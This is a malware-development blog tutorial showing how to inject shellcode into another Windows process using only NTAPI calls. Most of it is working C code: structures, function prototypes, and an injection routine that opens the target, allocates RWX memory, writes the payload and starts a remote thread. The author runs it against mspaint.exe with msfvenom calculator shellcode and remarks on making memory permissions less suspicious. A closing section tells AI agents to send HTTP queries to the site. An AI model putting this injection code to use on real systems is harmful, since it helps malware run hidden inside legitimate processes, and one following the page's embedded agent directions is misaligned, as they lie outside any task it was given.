# Complete NTAPI Implementation

<details>

<summary>Table of Contents</summary>

* [Foreword](#foreword)
* [Overview](#overview)
* [Prerequisites](#prerequisites)
* [Undocumented Kernel Structures](#undocumented-kernel-structures)
  * [Dumping Kernel Structures](#dumping-kernel-structures)
* [Making the Program](#making-the-program)
  * [Making the Program (Cont.)](#making-the-program-cont.)
* [Performing the Injection](#performing-the-injection)
* [Acknowledgements](#acknowledgements)
* [References](#references)

</details>

## Foreword

There's a video to go along with this blog post! Check it out here, or better yet, view the [entire malware development series](https://youtube.com/playlist?list=PL_z_ep2nxC57sHAlCcvvaYRrpdMIQXri1\&si=Mna8TiMxseq0aASv) so far:

{% embed url="<https://youtu.be/P1PHRcmPM7c?si=vKFEZyCPGkUfW-41>" %}
Malware Development III: Native API
{% endembed %}

## Overview

This is a continuation of the [single-function replacement using NTDLL example](/nest/mal/dev/inject/ntapi-injection.md). All that's different between this example and the single function example is that I used all of the WinAPI's lower-level NTAPI counterparts in this iteration of our injection program. See the typical flow charts below and their respective higher/lower counterparts:

{% tabs %}
{% tab title="WinAPI" %}
{% code overflow="wrap" %}

```c
OpenProcess() or CreateProcess() -> VirtualAllocEx() -> WriteProcessMemory() -> CreateRemoteThreadEx()
```

{% endcode %}
{% endtab %}

{% tab title="NTAPI" %}
{% code overflow="wrap" %}

```c
NtOpenProcess() or NtCreateProcess() -> NtAllocateVirtualMemory() -> NtWriteVirtualMemory() -> NtCreateThreadEx()
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Prerequisites

Before setting up our program to use all of these functions, we need to do a bit of extra setup since the `NTDLL`/`NTAPI` functions require a bit more work to get working. I'll create a new header file that'll house all my macros and structures called `injection.h`, which we've seen similarly in [the previous blog](/nest/mal/dev/inject/ntapi-injection.md) post. Here are all of the necessary structures we *need* to add.

{% code title="injection.h" %}

```c
#pragma once
#include <stdio.h>
#include <windows.h>

#define STATUS_SUCCESS (NTSTATUS)0x00000000L
#define OKAY(MSG, ...) printf("[+] " MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf("[i] " MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) printf("[-] " MSG "\n", ##__VA_ARGS__)
#define PROG(MSG, ...) printf("\r[*] " MSG,    ##__VA_ARGS__) /* solely for iterations */

typedef struct _PS_ATTRIBUTE {
    ULONG  Attribute;
    SIZE_T Size;
    union
    {
        ULONG Value;
        PVOID ValuePtr;
    } u1;
    PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
    (p)->RootDirectory = r;                           \
    (p)->Attributes = a;                              \
    (p)->ObjectName = n;                              \
    (p)->SecurityDescriptor = s;                      \
    (p)->SecurityQualityOfService = NULL;             \
}
#endif

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _PS_ATTRIBUTE_LIST {
    SIZE_T       TotalLength;
    PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
```

{% endcode %}

## Undocumented Kernel Structures&#x20;

Where do we get these structures? Where the hell do they even come from, I hear you asking. Well, if we take a look at a function like `NtOpenProcess`, for example, we can see that it requires the following:

<figure><img src="/files/1t5lqagtfZYIQf6FNqxZ" alt=""><figcaption><p>NtOpenProcess syntax from <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess">Microsoft</a></p></figcaption></figure>

We see our typical parameters, like the `ProcessHandle` and `DesiredAccess`, but what about these two new parameters: `ObjectAttributes` (`_OBJECT_ATTRIBUTES`) and `ClientId` (`_CLIENT_ID`)? These *are* actually some undocumented structures that our function requires, which is why the above setup was required. We've covered this briefly in the last blog post, so this shouldn't be very alien to you. Using a website that documents tons of these structures; like the one down below, we can easily incorporate these into our programs.&#x20;

{% embed url="<https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2110%2021H2%20(November%202021%20Update)>" %}
Website containing over 60,000 undocumented kernel structures!
{% endembed %}

So, all we know so far (if we didn't see the setup code in the [prerequisites](#prerequisites) section) is that we need two structures, `ObjectAttributes` and `ClientId`, so, let's go find them from this site!

<figure><img src="/files/w07ncYSeQzQPmlCYHter" alt=""><figcaption><p>Finding our way to our build of Windows</p></figcaption></figure>

If you weren't aware of your Windows build or version, you could run the following command in a command prompt: `winver`

<figure><img src="/files/7fiDjoq4ijwqIqM3VRDc" alt=""><figcaption><p>Windows 10, Version 22H2 (Build 19045)</p></figcaption></figure>

Right, we know our Windows build/version, let's proceed. Our Windows build is newer than the latest build documented on this site, but for our purposes, it should be fine. However, we'll also delve into how you can manually dump these structures later. Once we're in the right section, we can search for the structure we're interested in. The first structure needed for us in the case of `NtOpenProcess` is `ObjectAttributes`; which from the "`POBJECT_ATTRIBUTES`" parameter, let's us infer the structure name of `_OBJECT_ATTRIBUTES`. Since the "`P`" in front of the `OBJECT_ATTRIBUTES` denotes a pointer to this structure. Therefore, we know that the structure's name is `OBJECT_ATTRIBUTES`! Let's search for that:

<figure><img src="/files/FSrrqZyAfGNQNw0uO8fJ" alt=""><figcaption><p>Searching for <code>OBJECT_ATTRIBUTES</code> in VERGILIUS</p></figcaption></figure>

We can click on this, and see what it shows:

<figure><img src="/files/zTD5i6thHZaxf1LS3UR4" alt=""><figcaption><p><code>_OBJECT_ATTRIBUTES</code> structure </p></figcaption></figure>

There we go! We have all this juicy information that's *required* for our program. Let's copy that structure and define it within our program:

```cpp
typedef struct _OBJECT_ATTRIBUTES {
    ULONG              Length;
    HANDLE             RootDirectory;
    PUNICODE_STRING    ObjectName;
    ULONG              Attributes;
    PVOID              SecurityDescriptor;
    PVOID              SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
```

With the `_OBJECT_ATTRIBUTES` structure defined, let's move on to the next one needed by `NtOpenProcess`, `_CLIENT_ID`.

<figure><img src="/files/ssmBqL249DjS1yiI27BB" alt=""><figcaption><p><code>CLIENT_ID</code> structure from VERGILIUS</p></figcaption></figure>

Nice. Let's define this in our program as well:

```cpp
typedef struct _CLIENT_ID {
    PVOID              UniqueProcess;
    PVOID              UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
```

That's the required structures for `NtOpenProcess`!&#x20;

{% hint style="info" %}
Please also remember that VERGILIUS, as great as it is, isn't the *only* resource that can help you find structures like this. You can do some more searching to find things similar, and we'll be discussing how to dump these structures soon. For example, as we talked about in the last blog post, you can use the sites below this hint for your purposes.
{% endhint %}

{% tabs %}
{% tab title="Sites" %}
{% embed url="<https://www.nirsoft.net/kernel_struct/vista/index.html>" %}
Windows Vista Kernel Structures
{% endembed %}

{% embed url="<https://doxygen.reactos.org/d6/d6b/struct__CLIENT__ID.html>" %}
Entry from ReactOS on `_CLIENT_ID`
{% endembed %}

{% embed url="<https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/phnt_ntdef.h#L299-L303>" %}
`PHNT`
{% endembed %}

{% embed url="<https://processhacker.sourceforge.io/doc/struct___c_l_i_e_n_t___i_d.html>" %}
`Process Hacker Structure Reference`
{% endembed %}
{% endtab %}
{% endtabs %}

We're almost done. All that's left is to discuss that `_UNICODE_STRING` structure:

```cpp
typedef struct _UNICODE_STRING{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
```

Where does this come from? With the other two structures, their origin makes *some* sense since a function we're trying to use requires them. However, this structure seems like it came totally out of left field. Well, if you're vigilant, you'll actually notice that the answer was right before our eyes this entire time. Take a look at the `_OBJECT_ATTRIBUTES` structure once more, and see if you can understand where the above structure is actually required:

<figure><img src="/files/0HjONDCX9w0kwd5ho0Kk" alt=""><figcaption><p><code>_OBJECT_ATTRIBUTES</code> structure</p></figcaption></figure>

Remember, your functions aren't the only things that require structures. Sometimes, your structures may need structures. This is definitely the case with the `_OBJECT_ATTRIBUTES` structure since it's pointing to the `_UNICODE_STRING` structure for the `ObjectName` parameter.&#x20;

<figure><img src="/files/0jiEn2YiLPlaD64J8y45" alt=""><figcaption><p><code>PUNICODE_STRING ObjectName;</code> in <code>_OBJECT_ATTRIBUTES</code> structure</p></figcaption></figure>

So, because of this, we need to set up the `_UNICODE_STRING` structure for our `_OBJECT_ATTRIBUTES` structure. With all of the groundwork done, let's discuss how we might be able to dump these structures manually.

### Dumping Kernel Structures&#x20;

We've previously consulted VERGILIUS to incorporate the required structures needed for our program to work. But, it's more beneficial to learn how the process (or at least, *a process*) of dumping these structures *manually* works. Let's take the `_UNICODE_STRING` and `_CLIENT_ID` structures for example. Using a debugger like WinDbg, we can dump structure names like this:

```
dt nt!_UNICODE_STRING
```

<figure><img src="/files/IFOeMMZpogKSVoecjkYq" alt=""><figcaption><p>Command window showing <code>_UNICODE_STRING</code> structure dump</p></figcaption></figure>

As we can see, we've dumped the structure, and it's showing us [the same thing](https://www.vergiliusproject.com/kernels/x86/Windows%2010/2110%2021H2%20\(November%202021%20Update\)/_UNICODE_STRING) that a site like VERGILIUS would:

```cpp
//0x8 bytes (sizeof)
struct _UNICODE_STRING {
    USHORT Length;                                                          //0x0
    USHORT MaximumLength;                                                   //0x2
    WCHAR* Buffer;                                                          //0x4
}; 
```

It's the same thing for the `_CLIENT_ID` structure as well:

<figure><img src="/files/IqxyvswXXd9hEOgwueuO" alt=""><figcaption><p>Command window showing <code>_UNICODE_STRING</code> and <code>_CLIENT_ID</code> structure dumps</p></figcaption></figure>

And again, we'd get [the same results](https://www.vergiliusproject.com/kernels/x86/Windows%2010/2110%2021H2%20\(November%202021%20Update\)/_CLIENT_ID) from something like VERGILIUS:

```cpp
//0x8 bytes (sizeof)
struct _CLIENT_ID {
    VOID* UniqueProcess;                                                    //0x0
    VOID* UniqueThread;                                                     //0x4
}; 
```

Hopefully, that gives you an idea of one of the ways how these undocumented kernel structures are dumped. Now, with all of the structures defined, and ready to be used, let's move on to actually making the rest of the program. Oh, one last thing; don't let the name "kernel structures" fool you, they can 100% be used in user mode as well. Matter of fact, that's exactly what we're doing here as well.

## Making the Program

*Phew*, the structures! We're finally on our way to performing shellcode injection purely through `NTDLL`/`NTAPI`! Firstly, we must define prototypes for the functions that we're eventually going to use. If you remember the flow path for `NTAPI` process injection, it follows something along these lines:

{% code overflow="wrap" %}

```cpp
NtOpenProcess() or NtCreateProcess() /* attach to, or create a process             */
                |
     NtAllocateVirtualMemory()       /* allocate a buffer to the process memory    */
                |
        NtWriteVirtualMemory()       /* write your payload to the allocated buffer */
                |
        NtCreateThreadEx()           /* create a thread to run your payload        */
```

{% endcode %}

The question now arises, where can we find the prototypes for these functions such that we may be able to incorporate them? There are various ways for us to do this. One of my favourite ways is by consulting the `Process Hacker Native API` (`PHNT`) files:

{% embed url="<https://github.com/winsiderss/phnt>" %}
`PHNT`
{% endembed %}

This repository actually houses the `NTAPI`-specific functions/structures that the System Informer project uses. It's a really useful repository for us since it has `NTAPI` functions and Kernel structures present within it. Since we're going to get a handle on a process, let's look for `NtOpenProcess`:

{% embed url="<https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntpsapi.h#L1270-L1275>" %}
`NtOpenProcess` syntax from `PHNT`
{% endembed %}

{% hint style="info" %}
Again, like the thing with the VERGILIUS project, the site above isn't the only way to find information on undocumented NTDLL functions. Don't solely rely on one resource, because as you'll see, sometimes (especially for those of you using `NTINTERNALS`, there may be a function that's on one resource, but not on another. So, make sure to do your due diligence as well.
{% endhint %}

Let's take a look at one function, before rinsing and repeating for the rest of them. Let's start with something like `NtOpenProcess`:

<figure><img src="/files/q6mji7i2VY4T7DPpK3rH" alt=""><figcaption><p><code>NtOpenProcess</code> prototype from <code>PHNT</code></p></figcaption></figure>

With that syntax above, we can incorporate this into our `injection.h` header file like this:

```c
typedef NTSTATUS(NTAPI* fn_NtOpenProcess)(
    _Out_ PHANDLE ProcessHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_opt_ PCLIENT_ID ClientId
);
```

And now, we've successfully created a prototype for our `NtOpenProcess` function. Now, let's do it for the rest of them ([`NtAllocateVirtualMemory`](https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntmmapi.h#L536-L543), [`NtWriteVirtualMemory`](https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntmmapi.h#L599-L605), [`NtCreateThreadEx`](https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntpsapi.h#L2233-L2245)). Now, with all the appropriate structures included and all of our necessary function prototypes defined, we should have a header file similar to the following:

{% file src="/files/EE1pim6tP0emvurfVkxq" %}
Completed header file
{% endfile %}

With the header file done, we can start building out the main injection program like we've been doing this entire time. We've already covered how to do most of these steps in the last blog post so I'll program out what we should know by now before coming to the individual functions.

{% code title="injection.c" %}

```c
#include "injection.h"

VOID PrettyFormat(
        _In_ LPCSTR FunctionName,
        _In_ CONST NTSTATUS NtError
) {

    if (NULL == FunctionName || 0 == NtError) {
        WARN("either you didn't supply a function name"
             "or the function actually returned successfully");
    }

    WARN("[%s] failed, error: 0x%lx", FunctionName, NtError);
    return;

}

HMODULE GetModule(
        _In_ LPCWSTR ModuleName
) {
    
    HMODULE hModule = NULL;

    if (NULL == ModuleName) {
        WARN("no module name supplied, exiting...");
        return NULL;
    }

    hModule = GetModuleHandleW(ModuleName);
    if (NULL == hModule) {
        PrettyFormat("GetModuleHandleW", GetLastError());
        return NULL;
    }
     
    OKAY("[0x%p] got a handle on \"%S\"!", hModule, ModuleName);
    return hModule;

}

UINT_PTR GetNtFunctionAddress(
        _In_ CONST HMODULE ModuleHandle,
        _In_ LPCSTR FunctionName
) {

    UINT_PTR FunctionAddress = 0;

    if (NULL == ModuleHandle) {
        WARN("invalid/no module handle supplied");
        return 0;
    }

    FunctionAddress = (UINT_PTR)GetProcAddress(ModuleHandle, FunctionName);
    if (0 == FunctionAddress) {
        PrettyFormat("GetProcAddress", GetLastError());
        return 0;
    }

    OKAY("[0x%p] got the address of %s!", (PVOID)FunctionAddress, FunctionName);
    return FunctionAddress;

}

BOOL NTAPIInjection(
        _In_ CONST DWORD PID,
        _In_ CONST PBYTE Payload,
        _In_ CONST SIZE_T PayloadSize
) {

    HANDLE   hProcess      = NULL;
    HANDLE   hThread       = NULL;
    HMODULE  hNTDLL        = NULL;
    PVOID    rBuffer       = NULL;
    SIZE_T   BytesWritten  = 0;
    NTSTATUS STATUS        = 0;
    BOOL     STATE         = TRUE;

    OBJECT_ATTRIBUTES OA = { sizeof(OA),  NULL };
    CLIENT_ID CID        = { (HANDLE)PID, NULL };

    if (NULL == Payload || 0 == PayloadSize) {
        WARN("payload's not set. exiting...");
        return FALSE;
    }

    [...]

CLEAN_UP:

    /* you should look into using NtFreeVirtualMemory
       for cleanup as well for our allocated buffer. */

    if (hThread) {
        NtClose(hThread);
        INFO("[0x%p] handle on thread closed", hThread);
    }

    if (hProcess) {
        NtClose(hProcess);
        INFO("[0x%p] handle on process closed", hProcess);
    }

    return STATE;

}
```

{% endcode %}

By this point, you should be somewhat familiar with what's happening here (if not, go back to the beginning of the process injection series). Let's take a look at the structures that we're initializing:

```cpp
    /* initialize the _CLIENT_ID & _OBJECT_ATTRIBUTES structures */
    OBJECT_ATTRIBUTES OA           = { sizeof(OA), NULL };
    CLIENT_ID         CID          = { (HANDLE)PID, NULL };
```

It's important to note that, you can do this in multiple ways. The general idea is that we're trying to submit a `PID` to the `UniqueProcess` member of the `_CLIENT_ID` structure, which we've assigned to `CID`. You could also supply it like this:

```cpp
/* like this */
CLIENT_ID CID = { (HANDLE)atoi(argv[1]), NULL};

/* or like this, etc. etc. */
CLIENT_ID CID = { 0 };
CID.UniqueProcess = PID;
```

I'm showing you all of these ways because <mark style="background-color:orange;">I feel like sometimes we get too caught up in what we see from others and forget to experiment</mark>. So, yeah, there are a ton of ways to things, and you shouldn't take someone's code as gospel; *including mine*. Oh, please. *Especially not mine*. Anyway, let's continue to the next structure. We're assigning the first part of it: `Length` with the size of the `_OBJECT_ATTRIBUTES` structure itself. Then, we're initializing the rest of the structure by making it `NULL`. Now, this should be good to go. We can begin by populating our function prototypes with the actual addresses of the functions from within `NTDLL`:

{% code title="injection.c" %}

```c
    [...]
    
    /* NtOpenProcess */
    fn_NtOpenProcess NtOpenProcess = 
        (fn_NtOpenProcess)GetNtFunctionAddress(
                hNTDLL, 
                "NtOpenProcess"
    );
    /* NtAllocateVirtualMemory */
    fn_NtAllocateVirtualMemory NtAllocateVirtualMemory = 
        (fn_NtAllocateVirtualMemory)GetNtFunctionAddress(
                hNTDLL, 
                "NtAllocateVirtualMemory"
    );
    /* NtWriteVirtualMemory */
    fn_NtWriteVirtualMemory NtWriteVirtualMemory = 
        (fn_NtWriteVirtualMemory)GetNtFunctionAddress(
                hNTDLL, 
                "NtWriteVirtualMemory"
    );
    /* NtCreateThreadEx */
    fn_NtCreateThreadEx NtCreateThreadEx = 
        (fn_NtCreateThreadEx)GetNtFunctionAddress(
                hNTDLL, 
                "NtCreateThreadEx"
    );
    /* NtWaitForSingleObject */
    fn_NtWaitForSingleObject NtWaitForSingleObject = 
        (fn_NtWaitForSingleObject)GetNtFunctionAddress(
                hNTDLL, 
                "NtWaitForSingleObject"
    );
    /* NtClose */
    fn_NtClose NtClose = 
        (fn_NtClose)GetNtFunctionAddress(
                hNTDLL, 
                "NtClose"
    );
    
    [...]
```

{% endcode %}

This might look a bit crazy, but the bulk of this is just "pretty" formatting for the functions we get. As you can see, we're reaching into the `NTDLL` module, looking at the address of the function correlated to our function prototype. After that, we print out the address of it for some debugging purposes. We can get a sneak peek as to what this will look like below:

<figure><img src="/files/8n8xhmi20VHUeJMj9wB9" alt=""><figcaption><p>Formatting sneak peak</p></figcaption></figure>

After we populate all of our function prototypes, we can now finally begin with programming the actual injection portion of our program.

### Making the Program (Cont.)

If we remember from the previous blog, `NTAPI` functions return `NTSTATUS` codes. So, we need to make sure that we keep this in mind when programming out these functions. Let's start by getting a handle on our target process with `NtOpenProcess`:

```c
    [...] 
    INFO("getting a handle to the process (%ld)", PID);
    STATUS = NtOpenProcess(...);
```

The first parameter, `ProcessHandle`, is a pointer to the process handle variable we've declared - so, let's set this to `&hProcess`:

```c
    STATUS = NtOpenProcess(
    &hProcess, // ProcessHandle
    ...
);
```

The next parameter, `DesiredAccess`, is the access rights we want to have for our process once we've gotten a handle to it, in this case, we'll do `PROCESS_ALL_ACCESS`.

```c
    STATUS = NtOpenProcess(
    &hProcess,          // ProcessHandle
    PROCESS_ALL_ACCESS, // DesiredAccess
    ...
);
```

The third parameter, `ObjectAttributes`, is a pointer to that `OBJECT_ATTRIBUTES` structure we set up at the start of our program. We've called it `OA`, so let's supply this:

```c
    STATUS = NtOpenProcess(
    &hProcess,          // ProcessHandle
    PROCESS_ALL_ACCESS, // DesiredAccess
    &OA,                // ObjectAttributes
    ...
);
```

The last parameter, `ClientId`, is an optional input type and it's a pointer to the `CLIENT_ID` structure we set up at the start of our program. We've called it `CID`, so let's supply this:

```c
    STATUS = NtOpenProcess(
    &hProcess,          // ProcessHandle
    PROCESS_ALL_ACCESS, // DesiredAccess
    &OA,                // ObjectAttributes
    &CID                // ClientId
);
```

With this done, we can now check the return value of this function to see if it's `STATUS_SUCCESS` indicating that our function ran successfully:

```c
    if (STATUS_SUCCESS != STATUS) {
        PrettyFormat("NtOpenProcess", STATUS);
        return FALSE;
    }
```

Next, we have to allocate a region of memory to the process with `NtAllocateVirtualMemory`. So, as we did with `NtOpenProcess`, let's go over the parameters one by one.

{% code overflow="wrap" %}

```c
    STATUS = NtAllocateVirtualMemory(...);
```

{% endcode %}

The first parameter, `ProcessHandle` is our process handle.

```c
    STATUS = NtAllocateVirtualMemory(
    hProcess, // ProcessHandle
    ...
);
```

The next parameter, `BaseAddress`, is *a pointer* to the buffer itself, in this case, it'll be `rBuffer`.

```c
    STATUS = NtAllocateVirtualMemory(
    hProcess, // ProcessHandle
    &rBuffer, // BaseAddress
    ...
);
```

The next parameter, `ZeroBits` isn't important for us, so, we'll just set this to `0`.

```c
    STATUS = NtAllocateVirtualMemory(
    hProcess, // ProcessHandle
    &rBuffer, // BaseAddress
    0,        // ZeroBits
    ...
);
```

Next up is `RegionSize` and it's a pointer to the size of our shellcode, `PayloadSize`. So, let's include this:

```c
    STATUS = NtAllocateVirtualMemory(
    hProcess,    // ProcessHandle
    &rBuffer,    // BaseAddress
    0,           // ZeroBits
    PayloadSize, // RegionSize
    ...
);
```

Now, we have to set the allocation type (`AllocationType`) of our allocated buffer. We want to reserve and commit the region, so we'll supply `MEM_COMMIT | MEM_RESERVE`.&#x20;

{% code overflow="wrap" %}

```c
    STATUS = NtAllocateVirtualMemory(
    hProcess,                 // ProcessHandle
    &rBuffer,                 // BaseAddress
    0,                        // ZeroBits
    PayloadSize,              // RegionSize
    MEM_COMMIT | MEM_RESERVE, // AllocationType
    ...
);
```

{% endcode %}

Okay, cool. Now, it's time for the permissions of this region, `Protect`. We'll just set this to `RWX` but you can 100% use `VirtualProtect`'s `NTAPI` equivalent ([`NtProtectVirtualMemory`](https://ntdoc.m417z.com/ntprotectvirtualmemory)) to change the permissions so it's less suspicious; from `RW` to `RX`. However, for now, we'll just keep it simple.

{% code overflow="wrap" %}

```c
    STATUS = NtAllocateVirtualMemory(
    hProcess,                 // ProcessHandle
    &rBuffer,                 // BaseAddress
    0,                        // ZeroBits
    PayloadSize,              // RegionSize
    MEM_COMMIT | MEM_RESERVE, // AllocationType
    PAGE_EXECUTE_READWRITE    // Protect
    );
   if (STATUS_SUCCESS != STATUS) {
        PrettyFormat("NtAllocateVirtualMemory", STATUS);
        STATE = FALSE; goto CLEAN_UP;
    }
```

{% endcode %}

With our buffer allocated, we can now *write* to that page. So, with `NtWriteVirtualMemory`, let's go ahead and start doing that.

{% code overflow="wrap" %}

```c
    STATUS = NtWriteVirtualMemory(...);
```

{% endcode %}

The first parameter, `ProcessHandle`, is... well, you know by now.

```c
    STATUS = NtWriteVirtualMemory(
    hProcess, // ProcessHandle
    ...
);
```

Next, we have the `BaseAddress` which is the freshly created page that we've just set up; for this, we'll supply `rBuffer`.

```c
    STATUS = NtWriteVirtualMemory(
    hProcess, // ProcessHandle
    rBuffer,  // BaseAddress
    ...
);
```

Then, we can supply our payload for the `Buffer` parameter, since it's what we're actually trying to write to the page:

```c
    STATUS = NtWriteVirtualMemory(
    hProcess, // ProcessHandle
    rBuffer,  // BaseAddress
    Payload,  // Buffer
    ...
);
```

Next up, we have `BufferSize`, this is the size of our payload (we could just do `sizeof(Payload)` here, if you'd like):

{% code overflow="wrap" %}

```c
    STATUS = NtWriteVirtualMemory(
    hProcess,        // ProcessHandle
    rBuffer,         // BaseAddress
    Payload,         // Buffer
    sizeof(Payload), // BufferSize 
    ...
);
```

{% endcode %}

Lastly, we have a pointer to the number of bytes written. We don't need this, but I like to include it for the sake of verbosity and logging.

{% code overflow="wrap" %}

```c
    STATUS = NtWriteVirtualMemory(
    hProcess,        // ProcessHandle
    rBuffer,         // BaseAddress
    Payload,         // Buffer
    sizeof(Payload), // BufferSize 
    &BytesWritten    // NumberOfBytesWritten
    );
   if (STATUS_SUCCESS != STATUS) {
        PrettyFormat("NtWriteVirtualMemory", STATUS);
        STATE = FALSE; goto CLEAN_UP;
    }
```

{% endcode %}

I won't cover `NtCreateThreadEx` in this blog post because we already covered it in the last one where we replaced a single WinAPI function with its `NTAPI` counterpart. You can find that here:

{% embed url="<https://www.crow.rip/crows-nest/malware-development/process-injection/ntapi-injection>" %}
Find `NtCreateThreadEx` here
{% endembed %}

## Performing the Injection

With that done, all we have to do is wait for the thread to finish (or you don't have to, I guess; do whatever *you* want):

```c
    [...]
    
    STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, &OA, hProcess, rBuffer, NULL, FALSE, 0, 0, 0, NULL);
    if (STATUS_SUCCESS != STATUS) {
        PrettyFormat("NtCreateThreadEx", STATUS);
        STATE = FALSE; goto CLEAN_UP;
    }
    OKAY("[0x%p] thread has successfully been created!", hThread);
    INFO("[0x%p] waiting for the thread to finish execution...", hThread);
    WaitForSingleObject(hThread, INFINITE);
    OKAY("[0x%p] thread finished execution, beginning cleanup...", hThread);
    
CLEAN_UP:

    /* you should look into using NtFreeVirtualMemory
       for cleanup as well for our allocated buffer. */
       
    if (hThread) {
        NtClose(hThread);
        INFO("[0x%p] handle on thread closed", hThread);
    }
    if (hProcess) {
        NtClose(hProcess);
        INFO("[0x%p] handle on process closed", hProcess);
    }
    
    return STATE;
    
}
```

{% hint style="info" %}
I'll leave the `CloseHandle`, `WaitForSingleObject`, etc. functions for you to try to implement by yourselves. If you can do all of this, then these functions should be child's play for you but regardless, I'll include it in the source code down below just in case you're having difficulties :heart:&#x20;
{% endhint %}

{% file src="/files/rJx05yjbcxHUOsqvA8kF" %}

{% file src="/files/G1kRvz8ZBJv31j1ZPTOb" %}

{% file src="/files/fZwKTQgGQ7jqfecI5sZa" %}

{% file src="/files/OqvE9TBdO1l9ZLMgS6WT" %}

Finally, we can now compile the program with `make` and perform the injection! Running this against a process like `mspaint.exe`, we can see that this works beautifully. I'm using a calculator POC shellcode from `msfvenom`:

<figure><img src="/files/lFN4XbyRo4FnzZ8Idp3K" alt=""><figcaption><p>Successful injection</p></figcaption></figure>

With that done, we've completely injected a target process using solely the `NTAPI` counterparts of the WinAPI functions! In [the next blog post](/nest/mal/dev/inject/syscalls.md), we'll take a look at using system calls directly to perform an injection—which is the natural next step up from this technique.

## Acknowledgements

Thank you `pseudo` and `Man in the Purple Tux` for making me realize that this blog post (before now), was sort of lacklustre, and was missing some key information. As well as informing me that I was using *the wrong* parameters in the prototype for `NtOpenProcess`. I must've been hammered, sleep-deprived, or both. I appreciate you guys, and I hope this update gives you everything you were looking for. Also, if this code looks nothing like my previous code, it's because I've rewritten it from scratch whilst following my previous code. I've learned a lot since then, [so the updated program/code may reflect that](#user-content-fn-1)[^1]. Thank you to my incredible friend, `5pider` for introducing me to some cool programming tips as well for this specific post. Till next time, keep on hackin'. See ya!

## References

{% embed url="<https://y3a.github.io/2021/07/31/scinjection1/>" %}

{% embed url="<https://securitytimes.medium.com/path-to-process-injection-bypass-userland-api-hooking-a8a49ae5def6>" %}

{% embed url="<https://cocomelonc.github.io/tutorial/2021/12/06/malware-injection-9.html>" %}

{% embed url="<https://cocomelonc.github.io/tutorial/2021/12/07/malware-injection-10.html>" %}

{% embed url="<http://undocumented.ntinternals.net/>" %}

{% embed url="<https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h#LL2324-L2336C7>" %}

{% embed url="<https://spikysabra.gitbook.io/kernelcactus/getting-familiar-with-the-kernel>" %}

{% embed url="<https://www.vergiliusproject.com/kernels/x86/Windows%2010/2110%2021H2%20(November%202021%20Update)>" %}

{% embed url="<https://www.nirsoft.net/kernel_struct/vista/index.html>" %}

[^1]: I'm still pretty new and sh\*t at all of this as well. So, please bare with me as I get better and better.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://archive.crow.rip/nest/mal/dev/inject/ntapi-injection/complete-ntapi-implementation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
